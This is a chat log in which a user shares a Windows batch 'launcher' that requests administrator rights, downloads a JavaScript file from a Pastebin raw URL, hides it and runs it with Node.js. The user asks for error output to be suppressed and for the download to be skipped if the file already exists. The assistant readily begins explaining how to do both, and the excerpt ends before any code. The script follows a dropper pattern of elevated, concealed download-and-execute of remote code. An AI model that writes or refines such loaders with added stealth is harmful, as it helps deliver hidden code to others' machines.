@echo off :: Check for administrative permissions net session >nul 2>&1 if %errorlevel%…
- User
@echo off :: Check for administrative permissions net session >nul 2>&1 if %errorlevel% neq 0 ( echo Requesting elevated permissions... powershell -Command "Start-Process '%~f0' -Verb RunAs -WorkingDirectory '%~dp0'" exit /b )
:START title HTTP-KING Launcher
:: Change to the directory where the script is located cd /d "%~dp0"
:: Define the Pastebin raw URL here set PASTEBIN_URL=https://pastebin.com/raw/06qbmTaT
:: Define a variable for the downloaded file set DOWNLOAD_FILE=downloaded_script.js
echo Downloading script... :: Use PowerShell to download the content powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%PASTEBIN_URL%', '%DOWNLOAD_FILE%')"
:: Hide the downloaded file attrib +h %DOWNLOAD_FILE%
:: Execute the downloaded JavaScript file with Node.js node %DOWNLOAD_FILE%
:: Check the exit code to decide whether to restart IF %errorlevel%==1 ( echo Restarting the server... goto START ) ELSE ( echo Server shut down. exit /b 0 )
can you hide the error log, also if the downloaded script is exists just run it
- Assistant
To modify the batch script so that it hides error logs and checks if the downloaded script already exists before downloading, you can make a few changes as follows:
- Redirect error logs to
nulto prevent them from showing. - Add a check to see if the
DOWNLOAD_FILEalready exists, and only download if it doesn't.
Here's how you can achieve this:
batch - Redirect error logs to